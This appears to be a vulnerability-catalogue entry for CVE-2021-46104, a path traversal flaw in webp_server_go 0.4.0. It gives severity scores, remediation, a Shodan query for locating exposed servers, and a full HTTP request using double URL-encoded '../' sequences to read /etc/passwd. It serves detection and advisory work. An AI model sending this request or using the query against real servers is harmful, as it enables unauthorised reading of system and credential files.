🔙 목록으로 돌아가기

CVE-2021-46104: webp_server_go 0.4.0 - Path Traversal

Titlewebp_server_go 0.4.0 - Path Traversal
Authorpikpikcu
SeverityHigh
ImpactUnauthenticated attackers can read arbitrary files from the server including /etc/passwd via path traversal using double URL encoding.
RemediationUpgrade to webp_server_go version 0.4.1 or later that properly sanitizes file paths.
CVSS Score7.5
EPSS Score0.14775
CVE IDCVE-2021-46104
CWE IDCWE-22
Shodan Queryhttp.html:"Webp"
Tags cve cve2021 lfi webp vuln

🔍 Vulnerability Description

webp_server_go 0.4.0 contains a path traversal caused by insufficient sanitization in file handling, letting attackers read arbitrary files on the server, exploit requires attacker to send crafted requests.

🌐 HTTP Request

GET /%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46104.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46104.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A